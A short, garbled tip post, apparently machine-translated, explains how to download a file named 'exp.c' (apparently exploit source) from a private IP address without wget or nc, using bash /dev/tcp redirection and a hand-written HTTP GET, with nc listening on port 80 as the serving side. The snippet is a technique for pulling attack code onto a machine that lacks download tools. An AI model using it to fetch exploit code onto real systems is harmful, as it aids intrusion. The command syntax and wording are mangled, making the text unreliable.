No wget,and nc, download file a trick-vulnerability warning-the black bar safety net

Suppose you want to download exec 5/dev/tcp/192.168.182.1/8 0 &&echo-e "GET /exp. c HTTP/1.0\n" &5 && cat&5 exp. c Of course, the http header you have to yourself remove the Of course, you use nc-l-p 8 0 exp. c it is not so troublesome...